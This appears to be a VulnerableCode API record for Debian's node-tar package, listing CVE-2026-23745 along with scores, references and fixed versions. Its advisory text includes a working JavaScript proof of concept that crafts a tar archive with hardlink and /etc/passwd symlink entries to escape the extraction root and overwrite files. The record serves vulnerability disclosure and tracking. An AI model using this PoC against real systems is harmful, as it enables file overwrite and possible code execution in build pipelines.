Package Instance
Lookup for vulnerable packages by Package URL.
GET /api/packages/932657?format=api
{ "url": "http://public2.vulnerablecode.io/api/packages/932657?format=api", "purl": "pkg:deb/debian/node-tar@6.2.1%2Bds1%2B~cs6.1.13-6?distro=trixie", "type": "deb", "namespace": "debian", "name": "node-tar", "version": "6.2.1+ds1+~cs6.1.13-6", "qualifiers": { "distro": "trixie" }, "subpath": "", "is_vulnerable": false, "next_non_vulnerable_version": "6.2.1+ds1+~cs6.1.13-7", "latest_non_vulnerable_version": "6.2.1+ds1+~cs6.1.13-10", "affected_by_vulnerabilities": [], "fixing_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/20719?format=api", "vulnerability_id": "VCID-yy79-dbn9-7bd5", "summary": "node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization\n### Summary\n\nThe `node-tar` library (`<= 7.5.2`) fails to sanitize the `linkpath` of `Link` (hardlink) and `SymbolicLink` entries when `preservePaths` is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to **Arbitrary File Overwrite** via hardlinks and **Symlink Poisoning** via absolute symlink targets.\n\n### Details\n\nThe vulnerability exists in `src/unpack.ts` within the `[HARDLINK]` and `[SYMLINK]` methods.\n\n**1. Hardlink Escape (Arbitrary File Overwrite)**\n\nThe extraction logic uses `path.resolve(this.cwd, entry.linkpath)` to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (`entry.linkpath`) is an **absolute path**, `path.resolve` ignores the first argument (`this.cwd`) entirely and returns the absolute path.\n\nThe library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., `/etc/passwd`) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.\n\n**2. Symlink Poisoning**\n\nThe extraction logic passes the user-supplied `entry.linkpath` directly to `fs.symlink` without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (`../../`), even when secure extraction defaults are used.\n\n### PoC\n\nThe following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to `/etc/passwd`). It then extracts the archive using standard `node-tar` settings and demonstrates the vulnerability by verifying that the local \"secret\" file was successfully overwritten.\n\n```javascript\nconst fs = require('fs')\nconst path = require('path')\nconst tar = require('tar')\n\nconst out = path.resolve('out_repro')\nconst secret = path.resolve('secret.txt')\nconst tarFile = path.resolve('exploit.tar')\nconst targetSym = '/etc/passwd'\n\n// Cleanup & Setup\ntry { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}\nfs.mkdirSync(out)\nfs.writeFileSync(secret, 'ORIGINAL_DATA')\n\n// 1. Craft malicious Link header (Hardlink to absolute local file)\nconst h1 = new tar.Header({\n path: 'exploit_hard',\n type: 'Link',\n size: 0,\n linkpath: secret \n})\nh1.encode()\n\n// 2. Craft malicious Symlink header (Symlink to /etc/passwd)\nconst h2 = new tar.Header({\n path: 'exploit_sym',\n type: 'SymbolicLink',\n size: 0,\n linkpath: targetSym \n})\nh2.encode()\n\n// Write binary tar\nfs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))\n\nconsole.log('[*] Extracting malicious tarball...')\n\n// 3. Extract with default secure settings\ntar.x({\n cwd: out,\n file: tarFile,\n preservePaths: false\n}).then(() => {\n console.log('[*] Verifying payload...')\n\n // Test Hardlink Overwrite\n try {\n fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')\n \n if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {\n console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')\n } else {\n console.log('[-] Hardlink failed')\n }\n } catch (e) {}\n\n // Test Symlink Poisoning\n try {\n if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {\n console.log('[+] VULN CONFIRMED: Symlink points to absolute path')\n } else {\n console.log('[-] Symlink failed')\n }\n } catch (e) {}\n})\n\n```\n\n### Impact\n\n* **Arbitrary File Overwrite:** An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.\n* **Remote Code Execution (RCE):** In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all `Link` and `SymbolicLink` tar entries from extracted packages.)", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-23745.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-23745.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-23745", "reference_id": "", "reference_type": "", "scores": [ { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00541", "published_at": "2026-04-26T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00523", "published_at": "2026-04-02T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00516", "published_at": "2026-04-04T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00514", "published_at": "2026-04-07T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00511", "published_at": "2026-04-18T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00509", "published_at": "2026-04-09T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.0051", "published_at": "2026-04-13T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00507", "published_at": "2026-04-12T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00506", "published_at": "2026-04-16T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00543", "published_at": "2026-04-21T12:55:00Z" }, { "value": "7e-05", "scoring_system": "epss", "scoring_elements": "0.00538", "published_at": "2026-04-24T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-23745" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23745", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23745" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/isaacs/node-tar", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/isaacs/node-tar" }, { "reference_url": "https://github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405e", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-20T14:52:52Z/" } ], "url": "https://github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405e" }, { "reference_url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97", "reference_id": "", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "8.2", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-20T14:52:52Z/" } ], "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23745", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.2", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23745" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430538", "reference_id": "2430538", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430538" }, { "reference_url": "https://github.com/advisories/GHSA-8qq5-rm4j-mr97", "reference_id": "GHSA-8qq5-rm4j-mr97", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-8qq5-rm4j-mr97" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:2144", "reference_id": "RHSA-2026:2144", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:2144" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:2900", "reference_id": "RHSA-2026:2900", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:2900" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:2926", "reference_id": "RHSA-2026:2926", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:2926" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:3782", "reference_id": "RHSA-2026:3782", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:3782" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:6192", "reference_id": "RHSA-2026:6192", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:6192" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/932657?format=api", "purl": "pkg:deb/debian/node-tar@6.2.1%2Bds1%2B~cs6.1.13-6?distro=trixie", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-tar@6.2.1%252Bds1%252B~cs6.1.13-6%3Fdistro=trixie" }, { "url": "http://public2.vulnerablecode.io/api/packages/932649?format=api", "purl": "pkg:deb/debian/node-tar@6.2.1%2Bds1%2B~cs6.1.13-10?distro=trixie", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-tar@6.2.1%252Bds1%252B~cs6.1.13-10%3Fdistro=trixie" } ], "aliases": [ "CVE-2026-23745", "GHSA-8qq5-rm4j-mr97" ], "risk_score": 4.0, "exploitability": "0.5", "weighted_severity": "8.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-yy79-dbn9-7bd5" } ], "risk_score": null, "resource_url": "http://public2.vulnerablecode.io/packages/pkg:deb/debian/node-tar@6.2.1%252Bds1%252B~cs6.1.13-6%3Fdistro=trixie" }